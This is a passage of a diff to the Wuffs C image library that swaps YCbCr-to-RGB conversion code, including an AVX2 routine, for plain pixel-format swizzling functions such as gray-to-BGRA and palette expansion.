(height + 1u) / 2u; +- +- width = wuffs_base__u32__min_of_5( // +- width, // +- width0 * inv_h0, // +- width1 * inv_h1, // +- width2 * inv_h2, // +- wuffs_base__pixel_config__width(&dst->pixcfg)); +- height = wuffs_base__u32__min_of_5( // +- height, // +- height0 * inv_v0, // +- height1 * inv_v1, // +- height2 * inv_v2, // +- wuffs_base__pixel_config__height(&dst->pixcfg)); ++ __m128i shuffle = _mm_set_epi8(+0x03, +0x03, +0x03, +0x03, // ++ +0x02, +0x02, +0x02, +0x02, // ++ +0x01, +0x01, +0x01, +0x01, // ++ +0x00, +0x00, +0x00, +0x00); ++ __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00, // ++ -0x01, +0x00, +0x00, +0x00); + +- if (((h0 * inv_h0) != max_incl_h) || // +- ((h1 * inv_h1) != max_incl_h) || // +- ((h2 * inv_h2) != max_incl_h) || // +- ((v0 * inv_v0) != max_incl_v) || // +- ((v1 * inv_v1) != max_incl_v) || // +- ((v2 * inv_v2) != max_incl_v) || // +- (src0.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride0, inv_h0, inv_v0)) || +- (src1.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride1, inv_h1, inv_v1)) || +- (src2.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride2, inv_h2, inv_v2))) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((h3 != 0u) || (v3 != 0u)) { +- if (((h3 * inv_h3) != max_incl_h) || // +- ((v3 * inv_v3) != max_incl_v) || // +- (src3.len < wuffs_base__pixel_swizzler__flattened_length( +- width, height, stride3, inv_h3, inv_v3))) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- } ++ while (n >= 4) { ++ __m128i x; ++ x = _mm_cvtsi32_si128((int)(wuffs_base__peek_u32le__no_bounds_check(s))); ++ x = _mm_shuffle_epi8(x, shuffle); ++ x = _mm_or_si128(x, or_ff); ++ _mm_storeu_si128((__m128i*)(void*)d, x); + +- if (wuffs_base__pixel_format__is_planar(&dst->pixcfg.private_impl.pixfmt)) { +- // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); ++ s += 4 * 1; ++ d += 4 * 4; ++ n -= 4; + } + +- switch (dst->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__Y: +- case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: +- case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: +- case WUFFS_BASE__PIXEL_FORMAT__BGR_565: +- case WUFFS_BASE__PIXEL_FORMAT__BGR: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +- case WUFFS_BASE__PIXEL_FORMAT__RGB: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +- break; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); + +- default: +- // TODO: see wuffs_base__pixel_buffer__set_color_u32_at's TODO. +- return wuffs_base__make_status( +- wuffs_base__error__unsupported_pixel_swizzler_option); ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } + +- if ((width <= 0u) || (height <= 0u)) { +- return wuffs_base__make_status(NULL); +- } ++ return len; ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func = NULL; ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- if (is_rgb_or_cmyk) { +- conv3func = &wuffs_base__pixel_swizzler__swizzle_rgb__convert_3_general; +- } else { +- switch (dst->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- if (wuffs_base__cpu_arch__have_x86_avx2()) { +- conv3func = +- &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2; +- break; +- } +-#endif +- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx; +- break; +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__RGBX: +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +- if (wuffs_base__cpu_arch__have_x86_avx2()) { +- conv3func = +- &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx_x86_avx2; +- break; +- } +-#endif +- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_rgbx; +- break; +- default: +- conv3func = &wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_general; +- break; +- } ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ ++ s += 1 * 1; ++ d += 1 * 4; ++ n -= 1; + } + +- void (*func)( +- wuffs_base__pixel_buffer * dst, // +- uint32_t width, // +- uint32_t height, // +- const uint8_t* src_ptr0, // +- const uint8_t* src_ptr1, // +- const uint8_t* src_ptr2, // +- uint32_t stride0, // +- uint32_t stride1, // +- uint32_t stride2, // +- uint32_t inv_h0, // +- uint32_t inv_h1, // +- uint32_t inv_h2, // +- uint32_t inv_v0, // +- uint32_t inv_v1, // +- uint32_t inv_v2, // +- uint32_t half_width_for_2to1, // +- uint32_t half_height_for_2to1, // +- uint8_t* scratch_buffer_2k_ptr, // +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func(*upfuncs)[4][4], +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_func conv3func) = +- &wuffs_base__pixel_swizzler__swizzle_ycc__general__box_filter; +- +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_func upfuncs[4][4]; +- memcpy(&upfuncs, &wuffs_base__pixel_swizzler__swizzle_ycc__upsample_funcs, +- sizeof upfuncs); ++ return len; ++} + +- if (triangle_filter_for_2to1 && +- (wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h0, inv_v0) || +- wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h1, inv_v1) || +- wuffs_base__pixel_swizzler__has_triangle_upsampler(inv_h2, inv_v2))) { +- func = &wuffs_base__pixel_swizzler__swizzle_ycc__general__triangle_filter; +- +- upfuncs[0][1] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h1v2_triangle; +- upfuncs[1][0] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v1_triangle; +- upfuncs[1][1] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle; +- +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-#if defined(__GNUC__) && !defined(__clang__) +- // Don't use our AVX2 implementation for GCC (but do use it for clang). For +- // some unknown reason, GCC performs noticably better on the non-SIMD +- // version. Possibly because GCC's auto-vectorizer is smarter (just with +- // SSE2, not AVX2) than our hand-written code, but that's just a guess. +- // +- // See commits 51bc60ef9298cb2efc1b29a9681191f66d49820d and +- // cd769a0cdf1b5affee13f6089b995f3d39569cb4 for benchmark numbers. +- // +- // See also https://godbolt.org/z/MbhbPGEz4 for Debian Bullseye's clang 11 +- // versus gcc 10, where only gcc auto-vectorizes, although later clang +- // versions will also auto-vectorize. +-#else +- if (wuffs_base__cpu_arch__have_x86_avx2()) { +- upfuncs[1][1] = +- wuffs_base__pixel_swizzler__swizzle_ycc__upsample_inv_h2v2_triangle_x86_avx2; +- } +-#endif +-#endif +- } ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- if ((h3 != 0u) || (v3 != 0u)) { +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_4_func conv4func = +- is_rgb_or_cmyk +- ? &wuffs_base__pixel_swizzler__swizzle_cmyk__convert_4_general +- : &wuffs_base__pixel_swizzler__swizzle_ycck__convert_4_general; +- wuffs_base__pixel_swizzler__swizzle_ycck__general__triangle_filter( // +- dst, width, height, // +- src0.ptr, src1.ptr, src2.ptr, src3.ptr, // +- stride0, stride1, stride2, stride3, // +- inv_h0, inv_h1, inv_h2, inv_h3, // +- inv_v0, inv_v1, inv_v2, inv_v3, // +- half_width_for_2to1, half_height_for_2to1, // +- scratch_buffer_2k.ptr, &upfuncs, conv4func); ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); + +- } else { +- (*func)( // +- dst, width, height, // +- src0.ptr, src1.ptr, src2.ptr, // +- stride0, stride1, stride2, // +- inv_h0, inv_h1, inv_h2, // +- inv_v0, inv_v1, inv_v2, // +- half_width_for_2to1, half_height_for_2to1, // +- scratch_buffer_2k.ptr, &upfuncs, conv3func); ++ s += 1 * 2; ++ d += 1 * 4; ++ n -= 1; + } + +- return wuffs_base__make_status(NULL); ++ return len; + } + + // -------- + +-// ‼ WUFFS MULTI-FILE SECTION +x86_avx2 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2,avx2") +-static void // +-wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx_x86_avx2( +- wuffs_base__pixel_buffer* dst, +- uint32_t x, +- uint32_t x_end, +- uint32_t y, +- const uint8_t* up0, +- const uint8_t* up1, +- const uint8_t* up2) { +- if ((x + 32u) > x_end) { +- wuffs_base__pixel_swizzler__swizzle_ycc__convert_3_bgrx( // +- dst, x, x_end, y, up0, up1, up2); +- return; ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; + } ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- size_t dst_stride = dst->private_impl.planes[0].stride; +- uint8_t* dst_iter = dst->private_impl.planes[0].ptr + +- (dst_stride * ((size_t)y)) + (4u * ((size_t)x)); +- +- // u0001 = u16x16 [0x0001 .. 0x0001] +- // u00FF = u16x16 [0x00FF .. 0x00FF] +- // uFF80 = u16x16 [0xFF80 .. 0xFF80] +- // uFFFF = u16x16 [0xFFFF .. 0xFFFF] +- const __m256i u0001 = _mm256_set1_epi16(+0x0001); +- const __m256i u00FF = _mm256_set1_epi16(+0x00FF); +- const __m256i uFF80 = _mm256_set1_epi16(-0x0080); +- const __m256i uFFFF = _mm256_set1_epi16(-0x0001); ++ while (n >= 1) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4)))); + +- // p8000_p0000 = u16x16 [0x8000 0x0000 .. 0x8000 0x0000] +- const __m256i p8000_p0000 = _mm256_set_epi16( // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000, // +- +0x0000, -0x8000, +0x0000, -0x8000); ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Per wuffs_base__color_ycc__as__color_u32, the formulae: +- // +- // R = Y + 1.40200 * Cr +- // G = Y - 0.34414 * Cb - 0.71414 * Cr +- // B = Y + 1.77200 * Cb +- // +- // When scaled by 1<<16: +- // +- // 0.34414 becomes 0x0581A = 22554. +- // 0.71414 becomes 0x0B6D2 = 46802. +- // 1.40200 becomes 0x166E9 = 91881. +- // 1.77200 becomes 0x1C5A2 = 116130. +- // +- // Separate the integer and fractional parts, since we work with signed +- // 16-bit SIMD lanes. The fractional parts range from -0.5 .. +0.5 (as +- // floating-point) which is from -0x8000 .. +0x8000 (as fixed-point). +- // +- // -0x3A5E = -0x20000 + 0x1C5A2 The B:Cb factor. +- // +0x66E9 = -0x10000 + 0x166E9 The R:Cr factor. +- // -0x581A = +0x00000 - 0x0581A The G:Cb factor. +- // +0x492E = +0x10000 - 0x0B6D2 The G:Cr factor. +- const __m256i m3A5E = _mm256_set1_epi16(-0x3A5E); +- const __m256i p66E9 = _mm256_set1_epi16(+0x66E9); +- const __m256i m581A_p492E = _mm256_set_epi16( // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A, // +- +0x492E, -0x581A, +0x492E, -0x581A); ++ return len; ++} + +- while (x < x_end) { +- // Load chroma values in even and odd columns (the high 8 bits of each +- // u16x16 element are zero) and then subtract 0x0080. +- // +- // cb_all = u8x32 [cb.00 cb.01 cb.02 cb.03 .. cb.1C cb.1D cb.1E cb.1F] +- // cb_eve = i16x16 [cb.00-0x80 cb.02-0x80 .. cb.1C-0x80 cb.1E-0x80 ] +- // cb_odd = i16x16 [cb.01-0x80 cb.03-0x80 .. cb.1D-0x80 cb.1F-0x80 ] +- // +- // Ditto for the cr_xxx Chroma-Red values. +- __m256i cb_all = _mm256_lddqu_si256((const __m256i*)(const void*)up1); +- __m256i cr_all = _mm256_lddqu_si256((const __m256i*)(const void*)up2); +- __m256i cb_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cb_all, u00FF)); +- __m256i cr_eve = _mm256_add_epi16(uFF80, _mm256_and_si256(cr_all, u00FF)); +- __m256i cb_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cb_all, 8)); +- __m256i cr_odd = _mm256_add_epi16(uFF80, _mm256_srli_epi16(cr_all, 8)); ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // ---- ++ while (n >= 1) { ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), wuffs_base__color_u32__as__color_u64(s0)); ++ } + +- // Calculate: +- // +- // B-Y = (+1.77200 * Cb) as floating-point +- // R-Y = (+1.40200 * Cr) as floating-point +- // +- // B-Y = ((0x2_0000 - 0x3A5E) * Cb) as fixed-point +- // R-Y = ((0x1_0000 + 0x66E9) * Cr) as fixed-point +- // +- // B-Y = ((-0x3A5E * Cb) + ("2.0" * Cb)) +- // R-Y = ((+0x66E9 * Cr) + ("1.0" * Cr)) ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Multiply by m3A5E or p66E9, taking the high 16 bits. There's also a +- // doubling (add x to itself), adding-of-1 and halving (shift right by 1). +- // That makes multiply-and-take-high round to nearest (instead of down). +- __m256i tmp_by_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_eve, cb_eve), m3A5E), u0001), +- 1); +- __m256i tmp_by_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cb_odd, cb_odd), m3A5E), u0001), +- 1); +- __m256i tmp_ry_eve = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_eve, cr_eve), p66E9), u0001), +- 1); +- __m256i tmp_ry_odd = _mm256_srai_epi16( +- _mm256_add_epi16( +- _mm256_mulhi_epi16(_mm256_add_epi16(cr_odd, cr_odd), p66E9), u0001), +- 1); ++ return len; ++} + +- // Add (2 * Cb) and (1 * Cr). +- __m256i by_eve = +- _mm256_add_epi16(tmp_by_eve, _mm256_add_epi16(cb_eve, cb_eve)); +- __m256i by_odd = +- _mm256_add_epi16(tmp_by_odd, _mm256_add_epi16(cb_odd, cb_odd)); +- __m256i ry_eve = _mm256_add_epi16(tmp_ry_eve, cr_eve); +- __m256i ry_odd = _mm256_add_epi16(tmp_ry_odd, cr_odd); ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // ---- ++ while (n >= 1) { ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), 0xFFFF000000000000 | (0x010101010101 * (uint64_t)s[0])); + +- // Calculate: +- // +- // G-Y = (-0.34414 * Cb) + +- // (-0.71414 * Cr) as floating-point +- // +- // G-Y = ((+0x0_0000 - 0x581A) * Cb) + +- // ((-0x1_0000 + 0x492E) * Cr) as fixed-point +- // +- // G-Y = (-0x581A * Cb) + +- // (+0x492E * Cr) - ("1.0" * Cr) ++ s += 1 * 1; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Multiply-add to get ((-0x581A * Cb) + (+0x492E * Cr)). +- __m256i tmp0_gy_eve_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_eve_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_eve, cr_eve), m581A_p492E); +- __m256i tmp0_gy_odd_lo = _mm256_madd_epi16( // +- _mm256_unpacklo_epi16(cb_odd, cr_odd), m581A_p492E); +- __m256i tmp0_gy_odd_hi = _mm256_madd_epi16( // +- _mm256_unpackhi_epi16(cb_odd, cr_odd), m581A_p492E); ++ return len; ++} + +- // Divide the i32x8 vectors by (1 << 16), rounding to nearest. +- __m256i tmp1_gy_eve_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_lo, p8000_p0000), 16); +- __m256i tmp1_gy_eve_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_eve_hi, p8000_p0000), 16); +- __m256i tmp1_gy_odd_lo = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_lo, p8000_p0000), 16); +- __m256i tmp1_gy_odd_hi = +- _mm256_srai_epi32(_mm256_add_epi32(tmp0_gy_odd_hi, p8000_p0000), 16); ++static uint64_t // ++wuffs_private_impl__swizzle_xxxxxxxx__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len8 = dst_len / 8; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // Pack the ((-0x581A * Cb) + (+0x492E * Cr)) as i16x16 and subtract Cr. +- __m256i gy_eve = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_eve_lo, tmp1_gy_eve_hi), cr_eve); +- __m256i gy_odd = _mm256_sub_epi16( +- _mm256_packs_epi32(tmp1_gy_odd_lo, tmp1_gy_odd_hi), cr_odd); ++ while (n >= 1) { ++ uint64_t s0 = ++ ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(s + (0 * 2)))); ++ wuffs_base__poke_u64le__no_bounds_check( ++ d + (0 * 8), 0xFFFF000000000000 | (0x000100010001 * s0)); + +- // ---- ++ s += 1 * 2; ++ d += 1 * 8; ++ n -= 1; ++ } + +- // Add Y to (B-Y), (G-Y) and (R-Y) to produce B, G and R. +- // +- // For the resultant packed_x_xxx vectors, only elements 0 ..= 7 and 16 ..= +- // 23 of the 32-element vectors matter (since we'll unpacklo but not +- // unpackhi them). Let … denote 8 ignored consecutive u8 values and let % +- // denote 0xFF. We'll end this section with: +- // +- // packed_b_eve = u8x32 [b00 b02 .. b0C b0E … b10 b12 .. b1C b1E …] +- // packed_b_odd = u8x32 [b01 b03 .. b0D b0F … b11 b13 .. b1D b1F …] +- // packed_g_eve = u8x32 [g00 g02 .. g0C g0E … g10 g12 .. g1C g1E …] +- // packed_g_odd = u8x32 [g01 g03 .. g0D g0F … g11 g13 .. g1D g1F …] +- // packed_r_eve = u8x32 [r00 r02 .. r0C r0E … r10 r12 .. r1C r1E …] +- // packed_r_odd = u8x32 [r01 r03 .. r0D r0F … r11 r13 .. r1D r1F …] +- // uFFFF = u8x32 [ % % .. % % … % % .. % % …] ++ return len; ++} + +- __m256i yy_all = _mm256_lddqu_si256((const __m256i*)(const void*)up0); +- __m256i yy_eve = _mm256_and_si256(yy_all, u00FF); +- __m256i yy_odd = _mm256_srli_epi16(yy_all, 8); ++// -------- + +- __m256i loose_b_eve = _mm256_add_epi16(by_eve, yy_eve); +- __m256i loose_b_odd = _mm256_add_epi16(by_odd, yy_odd); +- __m256i packed_b_eve = _mm256_packus_epi16(loose_b_eve, loose_b_eve); +- __m256i packed_b_odd = _mm256_packus_epi16(loose_b_odd, loose_b_odd); ++static uint64_t // ++wuffs_private_impl__swizzle_y__bgra_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len < src_len4) ? dst_len : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- __m256i loose_g_eve = _mm256_add_epi16(gy_eve, yy_eve); +- __m256i loose_g_odd = _mm256_add_epi16(gy_odd, yy_odd); +- __m256i packed_g_eve = _mm256_packus_epi16(loose_g_eve, loose_g_eve); +- __m256i packed_g_odd = _mm256_packus_epi16(loose_g_odd, loose_g_odd); ++ while (n >= 1) { ++ uint32_t s0 = ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray(s0); + +- __m256i loose_r_eve = _mm256_add_epi16(ry_eve, yy_eve); +- __m256i loose_r_odd = _mm256_add_epi16(ry_odd, yy_odd); +- __m256i packed_r_eve = _mm256_packus_epi16(loose_r_eve, loose_r_eve); +- __m256i packed_r_odd = _mm256_packus_epi16(loose_r_odd, loose_r_odd); ++ s += 1 * 4; ++ d += 1 * 1; ++ n -= 1; ++ } + +- // ---- ++ return len; ++} + +- // Mix those values (unpacking in 8, 16 and then 32 bit units) to get the +- // desired BGRX/RGBX order. +- // +- // From here onwards, all of our __m256i registers are u8x32. ++static uint64_t // ++wuffs_private_impl__swizzle_y__bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len < src_len4) ? dst_len : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + +- // mix00 = [b00 g00 b02 g02 .. b0E g0E b10 g10 .. b1C g1C b1E g1E] +- // mix01 = [b01 g01 b03 g03 .. b0F g0F b11 g11 .. b1D g1D b1F g1F] +- // mix02 = [r00 % r02 % .. r0E % r10 % .. r1C % r1E %] +- // mix03 = [r01 % r03 % .. r0F % r11 % .. r1D % r1F %] +- // +- // See also § below. +- __m256i mix00 = _mm256_unpacklo_epi8(packed_b_eve, packed_g_eve); +- __m256i mix01 = _mm256_unpacklo_epi8(packed_b_odd, packed_g_odd); +- __m256i mix02 = _mm256_unpacklo_epi8(packed_r_eve, uFFFF); +- __m256i mix03 = _mm256_unpacklo_epi8(packed_r_odd, uFFFF); ++ while (n >= 1) { ++ uint32_t d0 = 0xFF000000 | (0x00010101 * ((uint32_t)(d[0]))); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ d[0] = wuffs_base__color_u32_argb_premul__as__color_u8_gray( ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0)); + +- // mix10 = [b00 g00 r00 % b02 g02 r02 % b04 g04 r04 % b06 g06 r06 % +- // b10 g10 r10 % b12 g12 r12 % b14 g14 r14 % b16 g16 r16 %] +- // mix11 = [b01 g01 r01 % b03 g03 r03 % b05 g05 r05 % b07 g07 r07 % +- // b11 g11 r11 % b13 g13 r13 % b15 g15 r15 % b17 g17 r17 %] +- // mix12 = [b08 g08 r08 % b0A g0A r0A % b0C g0C r0C % b0E g0E r0E % +- // b18 g18 r18 % b1A g1A r1A % b1C g1C r1C % b1E g1E r1E %] +- // mix13 = [b09 g09 r09 % b0B g0B r0B % b0D g0D r0D % b0F g0F r0F % +- // b19 g19 r19 % b1B g1B r1B % b1D g1D r1D % b1F g1F r1F %] +- __m256i mix10 = _mm256_unpacklo_epi16(mix00, mix02); +- __m256i mix11 = _mm256_unpacklo_epi16(mix01, mix03); +- __m256i mix12 = _mm256_unpackhi_epi16(mix00, mix02); +- __m256i mix13 = _mm256_unpackhi_epi16(mix01, mix03); ++ s += 1 * 4; ++ d += 1 * 1; ++ n -= 1; ++ } + +- // mix20 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % +- // b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 %] +- // mix21 = [b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 % +- // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] +- // mix22 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % +- // b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B %] +- // mix23 = [b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F % +- // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] +- __m256i mix20 = _mm256_unpacklo_epi32(mix10, mix11); +- __m256i mix21 = _mm256_unpackhi_epi32(mix10, mix11); +- __m256i mix22 = _mm256_unpacklo_epi32(mix12, mix13); +- __m256i mix23 = _mm256_unpackhi_epi32(mix12, mix13); ++ return len; ++} + +- // mix30 = [b00 g00 r00 % b01 g01 r01 % b02 g02 r02 % b03 g03 r03 % +- // b04 g04 r04 % b05 g05 r05 % b06 g06 r06 % b07 g07 r07 %] +- // mix31 = [b08 g08 r08 % b09 g09 r09 % b0A g0A r0A % b0B g0B r0B % +- // b0C g0C r0C % b0D g0D r0D % b0E g0E r0E % b0F g0F r0F %] +- // mix32 = [b10 g10 r10 % b11 g11 r11 % b12 g12 r12 % b13 g13 r13 % +- // b14 g14 r14 % b15 g15 r15 % b16 g16 r16 % b17 g17 r17 %] +- // mix33 = [b18 g18 r18 % b19 g19 r19 % b1A g1A r1A % b1B g1B r1B % +- // b1C g1C r1C % b1D g1D r1D % b1E g1E r1E % b1F g1F r1F %] +- __m256i mix30 = _mm256_permute2x128_si256(mix20, mix21, 0x20); +- __m256i mix31 = _mm256_permute2x128_si256(mix22, mix23, 0x20); +- __m256i mix32 = _mm256_permute2x128_si256(mix20, mix21, 0x31); +- __m256i mix33 = _mm256_permute2x128_si256(mix22, mix23, 0x31); ++static 